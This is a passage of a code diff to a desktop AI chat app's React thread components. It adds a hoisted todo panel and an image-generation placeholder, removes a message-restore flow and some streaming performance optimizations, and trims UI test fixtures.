+import { HoistedTodoPanel, todosFromMessageContent } from '@/components/assistant-ui/todo-tool'
 import { ToolFallback, ToolGroupSlot } from '@/components/assistant-ui/tool-fallback'
 import { TooltipIconButton } from '@/components/assistant-ui/tooltip-icon-button'
 import { UserMessageText } from '@/components/assistant-ui/user-message-text'
 import { useElapsedSeconds } from '@/components/chat/activity-timer'
 import { ActivityTimerText } from '@/components/chat/activity-timer-text'
 import { DisclosureRow } from '@/components/chat/disclosure-row'
-import { GeneratedImage } from '@/components/chat/generated-image-result'
+import { GeneratedImageProvider, useGeneratedImageContext } from '@/components/chat/generated-image-context'
+import { ImageGenerationPlaceholder } from '@/components/chat/image-generation-placeholder'
 import { Intro, type IntroProps } from '@/components/chat/intro'
 import { PreviewAttachment } from '@/components/chat/preview-attachment'
 import { Codicon } from '@/components/ui/codicon'
-import { ConfirmDialog } from '@/components/ui/confirm-dialog'
 import { CopyButton } from '@/components/ui/copy-button'
 import {
   DropdownMenu,
@@ -99,18 +94,13 @@ import { playSpeechText, stopVoicePlayback } from '@/lib/voice-playback'
 import type { ComposerAttachment } from '@/store/composer'
 import { notifyError } from '@/store/notifications'
 import { $connection } from '@/store/session'
-import { notifyThreadEditClose, notifyThreadEditOpen } from '@/store/thread-scroll'
 import { $voicePlayback } from '@/store/voice-playback'
 
 type ThreadLoadingState = 'response' | 'session'
 
 interface MessageActionProps {
   messageId: string
-  /** Lazy accessor — reads the live message text at action time. Passing the
-   *  text itself as a prop forces the whole footer to re-render on every
-   *  streaming delta flush (the text changes ~30×/s), which profiling showed
-   *  was a large slice of per-token script time on long transcripts. */
-  getMessageText: () => string
+  messageText: string
   onBranchInNewChat?: (messageId: string) => void
 }
 
@@ -138,28 +128,6 @@ function messageContentText(content: unknown): string {
   return Array.isArray(content) ? content.map(partText).join('').trim() : ''
 }
 
-// Cheap streaming-stable "does this message have visible text" check: returns
-// on the first non-whitespace text part without concatenating the whole
-// message. Used as a useAuiState selector so its boolean output stays stable
-// across token flushes (flips false→true once per turn).
-function contentHasVisibleText(content: unknown): boolean {
-  if (typeof content === 'string') {
-    return content.trim().length > 0
-  }
-
-  if (!Array.isArray(content)) {
-    return false
-  }
-
-  for (const part of content) {
-    if (partText(part).trim().length > 0) {
-      return true
-    }
-  }
-
-  return false
-}
-
 export const Thread: FC<{
   clampToComposer?: boolean
   cwd?: string | null
@@ -168,7 +136,6 @@ export const Thread: FC<{
   loading?: ThreadLoadingState
   onBranchInNewChat?: (messageId: string) => void
   onCancel?: () => Promise<void> | void
-  onRestoreToMessage?: (messageId: string) => Promise<void> | void
   sessionId?: string | null
   sessionKey?: string | null
 }> = ({
@@ -179,7 +146,6 @@ export const Thread: FC<{
   loading,
   onBranchInNewChat,
   onCancel,
-  onRestoreToMessage,
   sessionId = null,
   sessionKey
 }) => {
@@ -188,9 +154,9 @@ export const Thread: FC<{
       AssistantMessage: () => <AssistantMessage onBranchInNewChat={onBranchInNewChat} />,
       SystemMessage,
       UserEditComposer: () => <UserEditComposer cwd={cwd} gateway={gateway} sessionId={sessionId} />,
-      UserMessage: () => <UserMessage onCancel={onCancel} onRestoreToMessage={onRestoreToMessage} />
+      UserMessage: () => <UserMessage onCancel={onCancel} />
     }),
-    [cwd, gateway, onBranchInNewChat, onCancel, onRestoreToMessage, sessionId]
+    [cwd, gateway, onBranchInNewChat, onCancel, sessionId]
   )
 
   const emptyPlaceholder = intro ? (
@@ -200,16 +166,18 @@ export const Thread: FC<{
   ) : undefined
 
   return (
-    <div className="relative grid h-full min-h-0 max-w-full grid-rows-[minmax(0,1fr)] overflow-hidden bg-transparent contain-[layout_paint]">
-      <ThreadMessageList
-        clampToComposer={clampToComposer}
-        components={messageComponents}
-        emptyPlaceholder={emptyPlaceholder}
-        loadingIndicator={loading === 'response' ? <ResponseLoadingIndicator /> : null}
-        sessionKey={sessionKey}
-      />
-      {loading === 'session' && <CenteredThreadSpinner />}
-    </div>
+    <GeneratedImageProvider>
+      <div className="relative grid h-full min-h-0 max-w-full grid-rows-[minmax(0,1fr)] overflow-hidden bg-transparent contain-[layout_paint]">
+        <VirtualizedThread
+          clampToComposer={clampToComposer}
+          components={messageComponents}
+          emptyPlaceholder={emptyPlaceholder}
+          loadingIndicator={loading === 'response' ? <ResponseLoadingIndicator /> : null}
+          sessionKey={sessionKey}
+        />
+        {loading === 'session' && <CenteredThreadSpinner />}
+      </div>
+    </GeneratedImageProvider>
   )
 }
 
@@ -246,39 +214,21 @@ const CenteredThreadSpinner: FC = () => {
 
 const AssistantMessage: FC<{ onBranchInNewChat?: (messageId: string) => void }> = ({ onBranchInNewChat }) => {
   const messageId = useAuiState(s => s.message.id)
-  const messageRuntime = useMessageRuntime()
-
-  // PERF: this component must NOT subscribe to the streaming text. Every
-  // selector here returns a value that stays referentially stable across
-  // token flushes (booleans, status strings, '' while running), so the
-  // 30 Hz delta stream only re-renders the markdown part and the tiny
-  // StreamStallIndicator leaf — not the footer/preview/root subtree.
-  const messageStatus = useAuiState(s => s.message.status?.type)
-  const isRunning = messageStatus === 'running'
-  const isPlaceholder = useAuiState(s => s.message.status?.type === 'running' && s.message.content.length === 0)
-  const hasVisibleText = useAuiState(s => contentHasVisibleText(s.message.content))
-
-  // Preview targets only materialize once the turn completes — while running
-  // the selector returns '' (stable), so per-token flushes skip the regex
-  // scan and the re-render it would cause.
-  const completedText = useAuiState(s =>
-    s.message.status?.type === 'running' ? '' : messageContentText(s.message.content)
-  )
+  const content = useAuiState(s => s.message.content)
+  const messageText = messageContentText(content)
+  const hoistedTodos = useMemo(() => todosFromMessageContent(content), [content])
 
   const previewTargets = useMemo(() => {
-    if (!completedText || !/(https?:\/\/|file:\/\/)/i.test(completedText)) {
+    if (!messageText || !/(https?:\/\/|file:\/\/)/i.test(messageText)) {
       return []
     }
 
-    return pickPrimaryPreviewTarget(extractPreviewTargets(completedText))
-  }, [completedText])
+    return pickPrimaryPreviewTarget(extractPreviewTargets(messageText))
+  }, [messageText])
 
-  const getMessageText = useCallback(
-    () => messageContentText(messageRuntime.getState().content),
-    [messageRuntime]
-  )
-
-  const enterRef = useEnterAnimation(isRunning, `assistant-message:${messageId}`)
+  const messageStatus = useAuiState(s => s.message.status?.type)
+  const isPlaceholder = messageStatus === 'running' && content.length === 0
+  const enterRef = useEnterAnimation(messageStatus === 'running', `assistant-message:${messageId}`)
 
   if (isPlaceholder) {
     return null
@@ -289,16 +239,16 @@ const AssistantMessage: FC<{ onBranchInNewChat?: (messageId: string) => void }>
       className="group flex w-full min-w-0 max-w-full flex-col gap-0 self-start overflow-hidden"
       data-role="assistant"
       data-slot="aui_assistant-message-root"
-      data-streaming={isRunning ? 'true' : undefined}
+      data-streaming={messageStatus === 'running' ? 'true' : undefined}
       ref={enterRef}
     >
       <div
         className="wrap-anywhere min-w-0 max-w-full overflow-hidden text-pretty text-[length:var(--conversation-text-font-size)] leading-(--dt-line-height) text-foreground"
         data-slot="aui_assistant-message-content"
       >
-        {/* Todos render in the composer status stack now, not inline. */}
+        {hoistedTodos.length > 0 && <HoistedTodoPanel todos={hoistedTodos} />}
         <MessagePrimitive.Parts components={MESSAGE_PARTS_COMPONENTS} />
-        {isRunning && <StreamStallIndicator />}
+        {messageStatus === 'running' && <StreamStallIndicator activity={`${content.length}:${messageText.length}`} />}
         {previewTargets.length > 0 && (
           <div className="mt-3 flex flex-wrap gap-2">
             {previewTargets.map(target => (
@@ -315,8 +265,8 @@ const AssistantMessage: FC<{ onBranchInNewChat?: (messageId: string) => void }>
           </ErrorPrimitive.Root>
         </MessagePrimitive.Error>
       </div>
-      {hasVisibleText && (
-        <AssistantFooter getMessageText={getMessageText} messageId={messageId} onBranchInNewChat={onBranchInNewChat} />
+      {messageText.trim().length > 0 && (
+        <AssistantFooter messageId={messageId} messageText={messageText} onBranchInNewChat={onBranchInNewChat} />
       )}
     </MessagePrimitive.Root>
   )
@@ -357,28 +307,10 @@ const STREAM_STALL_S = 2
 
 // Tail "still thinking" indicator: the pre-first-token spinner goes away once
 // text flows, but if the stream then goes quiet mid-turn (tool think-time,
-// provider stall) nothing signals that work continues. Watch a per-flush
+// provider stall) nothing signals that work continues. Watch a per-render
 // activity signal; when it hasn't changed for STREAM_STALL_S, re-show the
 // dither + a timer counting from the last activity.
-//
-// Subscribes to the activity signal ITSELF (rather than taking it as a prop)
-// so that per-token updates re-render only this leaf, not the whole
-// AssistantMessage subtree.
-const StreamStallIndicator: FC = () => {
-  const activity = useAuiState(s => {
-    let textLength = 0
-
-    for (const part of s.message.content) {
-      const text = (part as { text?: unknown }).text
-
-      if (typeof text === 'string') {
-        textLength += text.length
-      }
-    }
-
-    return `${s.message.content.length}:${textLength}`
-  })
-
+const StreamStallIndicator: FC<{ activity: string }> = ({ activity }) => {
   const [stalled, setStalled] = useState(false)
 
   useEffect(() => {
@@ -402,12 +334,21 @@ const StreamStallIndicator: FC = () => {
   )
 }
 
-const ImageGenerateTool: FC<ToolCallMessagePartProps> = ({ args, result }) => {
-  const aspectRatio = typeof args?.aspect_ratio === 'string' ? args.aspect_ratio : undefined
+const ImageGenerateTool: FC<ToolCallMessagePartProps> = ({ result }) => {
+  const generatedImage = useGeneratedImageContext()
+  const running = result === undefined
+
+  useEffect(() => {
+    generatedImage?.setPending(running)
+  }, [generatedImage, running])
+
+  if (!running) {
+    return null
+  }
 
   return (
     <div className="mt-1.5">
-      <GeneratedImage aspectRatio={aspectRatio} result={result} />
+      <ImageGenerationPlaceholder />
     </div>
   )
 }
@@ -637,7 +578,7 @@ function formatMessageTimestamp(
   return SHORT_FMT.format(date)
 }
 
-const AssistantActionBar: FC<MessageActionProps> = ({ messageId, getMessageText, onBranchInNewChat }) => {
+const AssistantActionBar: FC<MessageActionProps> = ({ messageId, messageText, onBranchInNewChat }) => {
   const { t } = useI18n()
   const copy = t.assistant.thread
   const [menuOpen, setMenuOpen] = useState(false)
@@ -658,7 +599,7 @@ const AssistantActionBar: FC<MessageActionProps> = ({ messageId, getMessageText,
         )}
         data-slot="aui_msg-actions"
       >
-        <CopyButton appearance="icon" buttonSize="icon" label={copy.copy} text={getMessageText} />
+        <CopyButton appearance="icon" buttonSize="icon" disabled={!messageText} label={copy.copy} text={messageText} />
         <ActionBarPrimitive.Reload asChild>
           <TooltipIconButton onClick={() => triggerHaptic('submit')} tooltip={copy.refresh}>
             <Codicon name="refresh" />
@@ -676,7 +617,7 @@ const AssistantActionBar: FC<MessageActionProps> = ({ messageId, getMessageText,
               <GitBranchIcon />
               {copy.branchNewChat}
             </DropdownMenuItem>
-            <ReadAloudItem getText={getMessageText} messageId={messageId} />
+            <ReadAloudItem messageId={messageId} text={messageText} />
           </DropdownMenuContent>
         </DropdownMenu>
       </ActionBarPrimitive.Root>
@@ -684,7 +625,7 @@ const AssistantActionBar: FC<MessageActionProps> = ({ messageId, getMessageText,
   )
 }
 
-const ReadAloudItem: FC<{ getText: () => string; messageId: string }> = ({ getText, messageId }) => {
+const ReadAloudItem: FC<{ messageId: string; text: string }> = ({ messageId, text }) => {
   const { t } = useI18n()
   const copy = t.assistant.thread
   const voicePlayback = useStore($voicePlayback)
@@ -698,8 +639,6 @@ const ReadAloudItem: FC<{ getText: () => string; messageId: string }> = ({ getTe
   const Icon = isPreparing ? Loader2Icon : isSpeaking ? VolumeXIcon : Volume2Icon
 
   const read = useCallback(async () => {
-    const text = getText()
-
     if (!text || $voicePlayback.get().status !== 'idle') {
       return
     }
@@ -709,11 +648,11 @@ const ReadAloudItem: FC<{ getText: () => string; messageId: string }> = ({ getTe
     } catch (error) {
       notifyError(error, copy.readAloudFailed)
     }
-  }, [copy.readAloudFailed, getText, messageId])
+  }, [copy.readAloudFailed, messageId, text])
 
   return (
     <DropdownMenuItem
-      disabled={isPreparing || (!isSpeaking && anyPlaybackActive)}
+      disabled={isPreparing || (!isSpeaking && (anyPlaybackActive || !text))}
       onSelect={e => {
         e.preventDefault()
         void (isSpeaking ? stopVoicePlayback() : read())
@@ -767,22 +706,15 @@ function messageAttachmentRefs(value: unknown): string[] {
   return value.every(ref => typeof ref === 'string') ? value : EMPTY_ATTACHMENT_REFS
 }
 
-function StickyHumanMessageContainer({ attachments, children }: { attachments?: ReactNode; children: ReactNode }) {
+function StickyHumanMessageContainer({ children }: { children: ReactNode }) {
   return (
-    // Fragment, not a wrapper: a wrapping element becomes the sticky's
-    // containing block (it'd stick within its own height = never). The bubble
-    // and attachments are flow siblings so the bubble pins against the scroller
-    // while attachments below it scroll away.
-    <>
-      <div
-        className="group/user-message sticky z-40 -mx-4 flex w-[calc(100%+2rem)] min-w-0 max-w-none flex-col items-stretch gap-0 self-end overflow-visible bg-(--ui-chat-surface-background) px-4 pb-(--conversation-turn-gap) pt-1"
-        data-role="user"
-        data-slot="aui_user-message-root"
-      >
-        {children}
-      </div>
-      {attachments}
-    </>
+    <div
+      className="group/user-message sticky z-40 -mx-4 flex w-[calc(100%+2rem)] min-w-0 max-w-none flex-col items-stretch gap-0 self-end overflow-visible bg-(--ui-chat-surface-background) px-4 pb-(--conversation-turn-gap) pt-2"
+      data-role="user"
+      data-slot="aui_user-message-root"
+    >
+      {children}
+    </div>
   )
 }
 
@@ -805,46 +737,11 @@ const USER_ACTION_ICON_BUTTON_CLASS =
 const USER_ACTION_ICON_SIZE = '0.6875rem'
 const StopGlyph = <IconPlayerStopFilled aria-hidden className="size-3.5 -translate-y-px" />
 
-// Background-process notifications are injected into the conversation as user
-// messages (the agent must react to them, and message-role alternation forbids
-// a synthetic system row mid-loop). They are NOT something the human typed, so
-// render them as a compact system-style notice instead of a user bubble.
-// Shape: see tools/process_registry.py format_process_notification().
-const PROCESS_NOTIFICATION_RE = /^\[IMPORTANT: Background process [\s\S]*\]$/
-
-const ProcessNotificationNote: FC<{ text: string }> = ({ text }) => {
-  const body = text.replace(/^\[IMPORTANT:\s*/, '').replace(/\]$/, '')
-  const newline = body.indexOf('\n')
-  const headline = (newline === -1 ? body : body.slice(0, newline)).trim()
-  const detail = newline === -1 ? '' : body.slice(newline + 1).trim()
-
-  return (
-    <div className="flex max-w-[min(86%,44rem)] flex-col gap-0.5 self-center px-2 py-0.5 text-[0.6875rem] leading-5 text-muted-foreground/60">
-      <span className="flex items-center gap-1.5">
-        <Codicon className="shrink-0 text-muted-foreground/55" name="terminal" size="0.75rem" />
-        <span className="wrap-anywhere">{headline}</span>
-      </span>
-      {detail && (
-        <details className="pl-[1.3125rem]">
-          <summary className="cursor-pointer select-none text-muted-foreground/45 hover:text-muted-foreground/70">
-            output
-          </summary>
-          <pre className="mt-0.5 max-h-48 overflow-auto whitespace-pre-wrap font-mono text-[0.625rem] leading-4 text-muted-foreground/55">
-            {detail}
-          </pre>
-        </details>
-      )}
-    </div>
-  )
-}
-
 const UserMessage: FC<{
   onCancel?: () => Promise<void> | void
-  onRestoreToMessage?: (messageId: string) => Promise<void> | void
-}> = ({ onCancel, onRestoreToMessage }) => {
+}> = ({ onCancel }) => {
   const { t } = useI18n()
   const copy = t.assistant.thread
-  const [restoreConfirmOpen, setRestoreConfirmOpen] = useState(false)
   const messageId = useAuiState(s => s.message.id)
   const content = useAuiState(s => s.message.content)
   const messageText = messageContentText(content)
@@ -875,10 +772,8 @@ const UserMessage: FC<{
   // changes, not on every frame while the outer max-height animates open.
   const clampInnerRef = useRef<HTMLDivElement | null>(null)
   const [bodyClamped, setBodyClamped] = useState(false)
-  const lastClampHeightRef = useRef(-1)
-  const lineHeightRef = useRef(0)
 
-  const measureClamp = useCallback((entries: readonly ResizeObserverEntry[]) => {
+  const measureClamp = useCallback(() => {
     const inner = clampInnerRef.current
     const outer = inner?.parentElement
 
@@ -886,105 +781,68 @@ const UserMessage: FC<{
       return
     }
 
-    // Prefer the size the ResizeObserver already computed — reading
-    // `scrollHeight` outside RO timing forces a synchronous layout, and with
-    // many user bubbles observed at once those reads interleave with the
-    // style write below into a read-write-read reflow cascade.
-    const entryHeight = entries.find(entry => entry.target === inner)?.borderBoxSize?.[0]?.blockSize
-    const fullHeight = Math.ceil(entryHeight ?? inner.scrollHeight)
-
-    if (fullHeight === lastClampHeightRef.current) {
-      return
-    }
-
-    lastClampHeightRef.current = fullHeight
-
-    // Line-height is stable for the life of the bubble (font settings don't
-    // change under it) — resolve the computed style once.
-    if (!lineHeightRef.current) {
-      const styles = getComputedStyle(inner)
-      lineHeightRef.current = parseFloat(styles.lineHeight) || 1.5 * parseFloat(styles.fontSize) || 20
-    }
+    const styles = getComputedStyle(inner)
+    const lineHeight = parseFloat(styles.lineHeight) || 1.5 * parseFloat(styles.fontSize) || 20
+    const fullHeight = inner.scrollHeight
 
     outer.style.setProperty('--human-msg-full', `${fullHeight}px`)
-    setBodyClamped(fullHeight > lineHeightRef.current * 2 + 1)
+    setBodyClamped(fullHeight > lineHeight * 2 + 1)
   }, [])
 
   useResizeObserver(measureClamp, clampInnerRef)
 
-  // Injected background-process notification, not a human prompt — render the
-  // compact system-style notice (after all hooks above have run).
-  if (PROCESS_NOTIFICATION_RE.test(messageText.trim())) {
-    return (
-      <MessagePrimitive.Root
-        className="flex w-full min-w-0 flex-col items-stretch"
-        data-role="user"
-        data-slot="aui_user-message-root"
-      >
-        <ProcessNotificationNote text={messageText.trim()} />
-      </MessagePrimitive.Root>
-    )
-  }
-
   const hasBody = messageText.trim().length > 0
   const isLatestUser = messageId === latestUserId
   const showStop = isLatestUser && threadRunning && Boolean(onCancel)
-  // Restore (re-run this exact prompt) is available everywhere the Stop button
-  // isn't — including mid-stream on older prompts, since the action interrupts
-  // the live turn before rewinding.
-  const showRestore = !showStop && Boolean(onRestoreToMessage) && hasBody
+  const showRestore = !isLatestUser && !threadRunning
 
   const bubbleClassName = cn(
     USER_BUBBLE_BASE_CLASS,
-    'cursor-pointer pr-9 text-[length:var(--conversation-text-font-size)] leading-(--dt-line-height) text-foreground/95 transition-colors',
-    'border-(--ui-stroke-tertiary) hover:border-(--ui-stroke-secondary)'
+    'border-(--ui-stroke-tertiary) pr-9 text-[length:var(--conversation-text-font-size)] leading-(--dt-line-height) text-foreground/95 transition-colors',
+    !threadRunning && 'cursor-pointer hover:border-(--ui-stroke-secondary)'
   )
 
-  const bubbleContent = hasBody && (
-    // Render the user's text through a minimal markdown pipeline:
-    // backtick `code` and ``` fenced ``` blocks, with directive chips
-    // (`@file:` etc.) still resolved inside the plain-text spans.
-    <div className="sticky-human-clamp" data-clamped={bodyClamped ? 'true' : undefined}>
-      {/* Match the edit composer's collapsed line box (min-h-[1.25rem]) so
-          clicking to edit can't grow the bubble by a sub-pixel and reflow the
-          turn 1px. */}
-      <div className="min-h-[1.25rem]" ref={clampInnerRef}>
-        <UserMessageText className="wrap-anywhere" text={messageText} />
-      </div>
-    </div>
+  const bubbleContent = (
+    <>
+      {attachmentRefs.length > 0 && (
+        <span className="-mx-1 flex flex-wrap gap-1 border-b border-border/45 pb-1.5">
+          <DirectiveContent text={attachmentRefs.join(' ')} />
+        </span>
+      )}
+      {hasBody && (
+        // Render the user's text through a minimal markdown pipeline:
+        // backtick `code` and ``` fenced ``` blocks, with directive chips
+        // (`@file:` etc.) still resolved inside the plain-text spans.
+        <div className="sticky-human-clamp" data-clamped={bodyClamped ? 'true' : undefined}>
+          <div ref={clampInnerRef}>
+            <UserMessageText className="wrap-anywhere" text={messageText} />
+          </div>
+        </div>
+      )}
+    </>
   )
 
   return (
     <MessagePrimitive.Root asChild>
-      <StickyHumanMessageContainer
-        attachments={
-          // Attachments live BELOW the sticky bubble in normal flow, so they
-          // scroll away behind the pinned bubble instead of riding along with
-          // it. Image refs render as thumbnails, file refs as chips; no border.
-          attachmentRefs.length > 0 ? (
-            <div className="flex flex-wrap gap-1 -mt-3 mb-2">
-              <DirectiveContent text={attachmentRefs.join(' ')} />
-            </div>
-          ) : null
-        }
-      >
+      <StickyHumanMessageContainer>
         <ActionBarPrimitive.Root className="relative w-full max-w-full" data-slot="aui_user-bubble-actions">
           <div className="human-message-with-todos-wrapper flex w-full flex-col gap-0">
             <div className="relative w-full">
-              {/* Always editable — clicking opens the edit composer even while a
-                  turn streams; sending the edit reverts (interrupt + rewind). */}
-              <ActionBarPrimitive.Edit asChild>
-                <button
-                  aria-label={copy.editMessage}
-                  className={bubbleClassName}
-                  onClick={() => triggerHaptic('selection')}
-                  onPointerDown={() => notifyThreadEditOpen()}
-                  title={copy.editMessage}
-                  type="button"
-                >
-                  {bubbleContent}
-                </button>
-              </ActionBarPrimitive.Edit>
+              {threadRunning ? (
+                <div className={bubbleClassName}>{bubbleContent}</div>
+              ) : (
+                <ActionBarPrimitive.Edit asChild>
+                  <button
+                    aria-label={copy.editMessage}
+                    className={bubbleClassName}
+                    onClick={() => triggerHaptic('selection')}
+                    title={copy.editMessage}
+                    type="button"
+                  >
+                    {bubbleContent}
+                  </button>
+                </ActionBarPrimitive.Edit>
+              )}
               {(showStop || showRestore) && (
                 <div className="pointer-events-none absolute right-2 bottom-2 z-10 flex items-center justify-center opacity-0 transition-opacity group-hover/user-message:opacity-100 group-focus-within/user-message:opacity-100">
                   {showStop ? (
@@ -1002,20 +860,13 @@ const UserMessage: FC<{
                       {StopGlyph}
                     </button>
                   ) : (
-                    <button
-                      aria-label={copy.restoreCheckpoint}
-                      className={cn('pointer-events-auto size-6', USER_ACTION_ICON_BUTTON_CLASS)}
-                      onClick={event => {
-                        event.preventDefault()
-                        event.stopPropagation()
-                        triggerHaptic('selection')
-                        setRestoreConfirmOpen(true)
-                      }}
-                      title={copy.restoreFromHere}
-                      type="button"
+                    <span
+                      aria-hidden="true"
+                      className="flex size-6 items-center justify-center rounded-md text-(--ui-text-tertiary)"
+                      title={copy.editableCheckpoint}
                     >
                       <Codicon name="discard" size="0.875rem" />
-                    </button>
+                    </span>
                   )}
                 </div>
               )}
@@ -1043,17 +894,6 @@ const UserMessage: FC<{
             </BranchPickerPrimitive.Root>
           </div>
         </ActionBarPrimitive.Root>
-        {showRestore && (
-          <ConfirmDialog
-            confirmLabel={copy.restoreConfirm}
-            description={copy.restoreBody}
-            destructive
-            onClose={() => setRestoreConfirmOpen(false)}
-            onConfirm={() => onRestoreToMessage?.(messageId)}
-            open={restoreConfirmOpen}
-            title={copy.restoreTitle}
-          />
-        )}
       </StickyHumanMessageContainer>
     </MessagePrimitive.Root>
   )
@@ -1168,8 +1008,6 @@ const UserEditComposer: FC<UserEditComposerProps> = ({ cwd, gateway, sessionId }
   const at = useAtCompletions({ cwd, gateway, sessionId })
   const slash = useSlashCompletions({ gateway })
 
-  useEffect(() => () => notifyThreadEditClose(), [])
-
   const focusEditor = useCallback(() => {
     const editor = editorRef.current
 
@@ -1423,10 +1261,7 @@ const UserEditComposer: FC<UserEditComposerProps> = ({ cwd, gateway, sessionId }
       }
 
       const remote = $connection.get()?.mode === 'remote'
-
-      const requestGateway = <T,>(method: string, params?: Record<string, unknown>) =>
-        gateway.request<T>(method, params)
-
+      const requestGateway = <T,>(method: string, params?: Record<string, unknown>) => gateway.request<T>(method, params)
       const refs: InlineRefInput[] = []
 
       for (const candidate of osDrops) {
@@ -1695,8 +1530,9 @@ const UserEditComposer: FC<UserEditComposerProps> = ({ cwd, gateway, sessionId }
               aria-label={copy.editMessage}
               autoCapitalize="off"
               autoCorrect="off"
+              autoFocus
               className={cn(
-                'ui-prompt-input-editor__input max-h-48 w-full resize-none bg-transparent p-0 pr-7 text-[length:var(--conversation-text-font-size)] text-foreground/95 outline-none',
+                'ui-prompt-input-editor__input max-h-48 w-full resize-none bg-transparent p-0 pr-7 text-[length:var(--conversation-text-font-size)] leading-(--dt-line-height) text-foreground/95 outline-none',
                 'empty:before:content-[attr(data-placeholder)] empty:before:text-muted-foreground/60',
                 '**:data-ref-text:cursor-default',
                 expanded ? 'min-h-16' : 'min-h-[1.25rem]'

apps/desktop/src/components/assistant-ui/todo-tool.tsx

@@ -0,0 +1,109 @@
+import { type FC } from 'react'
+
+import { Checkbox } from '@/components/ui/checkbox'
+import { Loader2Icon } from '@/lib/icons'
+import { parseTodos, type TodoItem, type TodoStatus } from '@/lib/todos'
+import { cn } from '@/lib/utils'
+
+export function todosFromMessageContent(content: unknown): TodoItem[] {
+  if (!Array.isArray(content)) {
+    return []
+  }
+
+  let latest: null | TodoItem[] = null
+
+  for (const part of content) {
+    if (!part || typeof part !== 'object') {
+      continue
+    }
+
+    const row = part as Record<string, unknown>
+
+    if (row.type !== 'tool-call' || row.toolName !== 'todo') {
+      continue
+    }
+
+    const parsed = parseTodos(row.result) ?? parseTodos(row.args)
+
+    if (parsed !== null) {
+      latest = parsed
+    }
+  }
+
+  return latest ?? []
+}
+
+const headerLabel = (todos: readonly TodoItem[]): string =>
+  todos.find(t => t.status === 'in_progress')?.content ??
+  todos.find(t => t.status === 'pending')?.content ??
+  todos.at(-1)?.content ??
+  'Tasks'
+
+const Checkmark: FC<{ status: TodoStatus; label: string }> = ({ status, label }) => {
+  if (status === 'in_progress') {
+    return (
+      <span
+        aria-label={`In progress: ${label}`}
+        className="grid size-[1.1rem] shrink-0 place-items-center rounded-full border border-ring/65 bg-[color-mix(in_srgb,var(--dt-ring)_14%,transparent)]"
+      >
+        <Loader2Icon className="size-3 animate-spin text-ring" />
+      </span>
+    )
+  }
+
+  const checked = status === 'completed'
+
+  return (
+    <Checkbox
+      aria-label={label}
+      checked={checked}
+      className={cn(
+        'size-[1.1rem] shrink-0 rounded-full border-border/80 pointer-events-none disabled:cursor-default disabled:opacity-100',
+        checked &&
+          'data-[state=checked]:border-primary data-[state=checked]:bg-primary data-[state=checked]:text-primary-foreground [&_[data-slot=checkbox-indicator]_svg]:size-3',
+        status === 'cancelled' && 'border-muted-foreground/40'
+      )}
+      disabled
+    />
+  )
+}
+
+export const HoistedTodoPanel: FC<{ todos: TodoItem[] }> = ({ todos }) => {
+  if (!todos.length) {
+    return null
+  }
+
+  const label = headerLabel(todos)
+
+  return (
+    <section
+      className="mt-1 mb-3 inline-block w-fit max-w-full overflow-hidden rounded-2xl border border-border/70 bg-card align-top shadow-[0_1px_2px_0_hsl(var(--foreground)/0.04),0_1px_4px_-1px_hsl(var(--foreground)/0.06)]"
+      data-slot="aui_todo-hoisted"
+    >
+      <header className="px-3 pt-3 pb-2">
+        <span
+          className="block max-w-full truncate text-[0.85rem] font-semibold leading-tight tracking-tight text-foreground"
+          title={label}
+        >
+          {label}
+        </span>
+      </header>
+      <ul className="grid min-w-0 gap-0.5 px-3 pb-3">
+        {todos.map(todo => (
+          <li
+            // Active row at full presence; everything else fades. Opacity on
+            // the row so the checkbox glyph dims with the text.
+            className={cn(
+              'flex min-w-0 items-center gap-3 py-1.5 transition-opacity',
+              todo.status === 'in_progress' ? 'opacity-100' : 'opacity-45'
+            )}
+            key={todo.id}
+          >
+            <Checkmark label={todo.content} status={todo.status} />
+            <span className="min-w-0 wrap-anywhere text-[0.8rem] leading-[1.2rem] text-foreground">{todo.content}</span>
+          </li>
+        ))}
+      </ul>
+    </section>
+  )
+}

apps/desktop/src/components/assistant-ui/tool-approval-group.test.tsx

@@ -1,10 +1,9 @@
 import { AssistantRuntimeProvider, type ThreadMessage, useExternalStoreRuntime } from '@assistant-ui/react'
-import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { cleanup, render, waitFor } from '@testing-library/react'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 
 import { clearAllPrompts, setApprovalRequest } from '@/store/prompts'
 import { $activeSessionId } from '@/store/session'
-import { clearDismissedToolRows } from '@/store/tool-dismiss'
 import { $toolDisclosureStates } from '@/store/tool-view'
 
 import { Thread } from './thread'
@@ -105,84 +104,6 @@ function groupedPendingMessage(): ThreadMessage {
   } as ThreadMessage
 }
 
-function pendingOnlyMessage(): ThreadMessage {
-  return {
-    id: 'assistant-pending-only',
-    role: 'assistant',
-    content: [
-      {
-        type: 'tool-call',
-        toolCallId: 'term-only',
-        toolName: 'terminal',
-        args: { command: 'sleep 10' },
-        argsText: JSON.stringify({ command: 'sleep 10' })
-      }
-    ],
-    status: { type: 'running' },
-    createdAt,
-    metadata: {
-      unstable_state: null,
-      unstable_annotations: [],
-      unstable_data: [],
-      steps: [],
-      custom: {}
-    }
-  } as ThreadMessage
-}
-
-function completedOnlyMessage(): ThreadMessage {
-  return {
-    id: 'assistant-completed-only',
-    role: 'assistant',
-    content: [
-      {
-        type: 'tool-call',
-        toolCallId: 'read-only',
-        toolName: 'read_file',
-        args: { path: '/etc/hosts' },
-        argsText: JSON.stringify({ path: '/etc/hosts' }),
-        result: { content: '127.0.0.1 localhost' }
-      }
-    ],
-    status: { type: 'complete', reason: 'stop' },
-    createdAt,
-    metadata: {
-      unstable_state: null,
-      unstable_annotations: [],
-      unstable_data: [],
-      steps: [],
-      custom: {}
-    }
-  } as ThreadMessage
-}
-
-function failedOnlyMessage(): ThreadMessage {
-  return {
-    id: 'assistant-failed-only',
-    role: 'assistant',
-    content: [
-      {
-        type: 'tool-call',
-        toolCallId: 'term-failed',
-        toolName: 'terminal',
-        args: { command: 'exit 1' },
-        argsText: JSON.stringify({ command: 'exit 1' }),
-        isError: true,
-        result: { stderr: 'boom' }
-      }
-    ],
-    status: { type: 'complete', reason: 'stop' },
-    createdAt,
-    metadata: {
-      unstable_state: null,
-      unstable_annotations: [],
-      unstable_data: [],
-      steps: [],
-      custom: {}
-    }
-  } as ThreadMessage
-}
-
 function GroupHarness({ message }: { message: ThreadMessage }) {
   const runtime = useExternalStoreRuntime<ThreadMessage>({
     messages: [message],
@@ -201,14 +122,12 @@ beforeEach(() => {
   clearAllPrompts()
   $activeSessionId.set('sess-1')
   $toolDisclosureStates.set({})
-  clearDismissedToolRows()
 })
 
 afterEach(() => {
   cleanup()
   clearAllPrompts()
